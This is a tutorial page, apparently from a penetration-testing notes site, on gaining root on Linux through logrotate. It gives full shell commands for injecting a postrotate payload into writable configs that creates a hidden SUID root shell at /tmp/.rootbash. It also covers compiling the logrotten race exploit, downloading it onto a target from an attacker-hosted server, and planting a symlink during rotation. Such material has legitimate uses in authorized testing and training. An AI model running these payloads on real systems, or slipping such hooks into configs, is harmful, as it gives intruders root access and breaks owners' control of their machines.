Skip to content

Logrotate Exploitation for Privilege Escalation

4 min read Created Mar 14, 2026 Last updated Jul 14, 2026

Logrotate runs as root via cron or a systemd timer to rotate log files. It reads configuration files that define what to rotate and optionally run scripts before or after rotation via postrotate/prerotate directives. Two exploitation paths exist: directly modifying writable config files to inject commands, or exploiting a race condition in logrotate's create mode using the logrotten tool.

Logrotate Privilege Escalation on Linux

Two main attack paths exist:

  • Writable config file: inject a postrotate command that runs as root
  • Race condition (logrotten): exploit the window between log rename and creation in create mode
  • Writable log directory: manually or automatically win the race to plant a symlink

Confirm logrotate is installed and check its configuration:

┌──(kali㉿kali)-[~]
└─$ which logrotate
┌──(kali㉿kali)-[~]
└─$ logrotate --version 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Find all config files
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.conf 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check when logrotate runs
┌──(kali㉿kali)-[~]
└─$ systemctl list-timers | grep logrotate
┌──(kali㉿kali)-[~]
└─$ grep -r "logrotate" /etc/cron* /var/spool/cron* 2>/dev/null

Check for writable config files: this is the direct path:

┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -writable 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -type f | xargs ls -la 2>/dev/null

Check write access to log files or directories that logrotate processes: required for the logrotten race condition:

┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.conf /etc/logrotate.d/* 2>/dev/null | grep -v "^#" | grep "^/" | head -20
┌──(kali㉿kali)-[~]
└─$ # Note the log paths, then check write access
┌──(kali㉿kali)-[~]
└─$ ls -la /var/log/nginx/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la /var/log/apache2/ 2>/dev/null

Technique 1: Writable Config File

If any file in /etc/logrotate.d/ is writable, inject a postrotate command that runs as root:

Step 1: Confirm write access:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/logrotate.d/
┌──(kali㉿kali)-[~]
└─$ find /etc/logrotate.d/ -writable 2>/dev/null

Step 2: Read the existing config to understand the structure:

┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.d/nginx

Step 3: Inject a postrotate payload:

┌──(kali㉿kali)-[~]
└─$ cat >> /etc/logrotate.d/nginx << 'EOF'
postrotate
cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
endscript
EOF

Or replace the entire config file:

/etc/logrotate.d/nginx

/var/log/nginx/*.log {
    daily
    missingok
    postrotate
        cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash
    endscript
}

Step 4: Wait for logrotate to run, or trigger it manually if you have permission:

┌──(kali㉿kali)-[~]
└─$ # Logrotate usually runs daily via cron
┌──(kali㉿kali)-[~]
└─$ # Check the schedule
┌──(kali㉿kali)-[~]
└─$ systemctl list-timers | grep logrotate
┌──(kali㉿kali)-[~]
└─$ cat /etc/cron.daily/logrotate 2>/dev/null

After it fires:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

Technique 2: logrotten Race Condition

logrotten exploits a race condition in logrotate's create mode. When logrotate rotates a log file, there is a brief window between renaming the old file and creating the new one. If the log directory is writable, you can replace the new log file with a symlink to a logrotate config file before logrotate creates it: causing logrotate to write a malicious config and then read it.

Affected versions: logrotate <= 3.15.1

Step 1: Check version:

┌──(kali㉿kali)-[~]
└─$ logrotate --version
┌──(kali㉿kali)-[~]
└─$ # Vulnerable: <= 3.15.1

Step 2: Confirm you can write to the log directory logrotate processes:

┌──(kali㉿kali)-[~]
└─$ # Find a log file processed by logrotate that you can write to
┌──(kali㉿kali)-[~]
└─$ cat /etc/logrotate.d/* 2>/dev/null | grep "^/" | while read logfile; do
dir=$(dirname "$logfile")
[ -w "$dir" ] && echo "WRITABLE DIR: $dir for $logfile"
[ -w "$logfile" ] && echo "WRITABLE FILE: $logfile"
done

Step 3: Get logrotten:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/whotwagner/logrotten
┌──(kali㉿kali)-[~]
└─$ cd logrotten
┌──(kali㉿kali)-[~]
└─$ gcc -o logrotten logrotten.c
 
┌──(kali㉿kali)-[~]
└─$ # Transfer to target
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/logrotten
┌──(kali㉿kali)-[~]
└─$ chmod +x logrotten

Step 4: Create the payload:

/tmp/payload

#!/bin/bash
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/payload

Step 5: Run logrotten against a writable log file:

┌──(kali㉿kali)-[~]
└─$ # Basic usage: requires write access to the log file
┌──(kali㉿kali)-[~]
└─$ ./logrotten -p /tmp/payload /var/log/nginx/access.log

In a second terminal, trigger log rotation:

┌──(kali㉿kali)-[~]
└─$ # Write to the log file to trigger rotation if size-based rotation is configured
┌──(kali㉿kali)-[~]
└─$ echo "$(python3 -c 'print("A"*1024*1024)')" >> /var/log/nginx/access.log

Or simply wait for the scheduled rotation.

Step 6: After successful race:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

Technique 3: Writable Log Directory + create Mode

If logrotate uses create mode (the default) and you have write access to the log directory, the race window is exploitable even without logrotten in some configurations:

┌──(kali㉿kali)-[~]
└─$ # Check if create mode is active
┌──(kali㉿kali)-[~]
└─$ grep -r "create\|nocreate" /etc/logrotate.conf /etc/logrotate.d/ 2>/dev/null

When logrotate renames access.log to access.log.1 and before it creates the new access.log, replace the path with a symlink:

┌──(kali㉿kali)-[~]
└─$ # Monitor for the rename event
┌──(kali㉿kali)-[~]
└─$ inotifywait -m /var/log/nginx/ 2>/dev/null &
 
┌──(kali㉿kali)-[~]
└─$ # When you see the rename, immediately:
┌──(kali㉿kali)-[~]
└─$ ln -sf /etc/logrotate.d/malicious /var/log/nginx/access.log

Timing this manually is unreliable: use logrotten for reliable exploitation.

References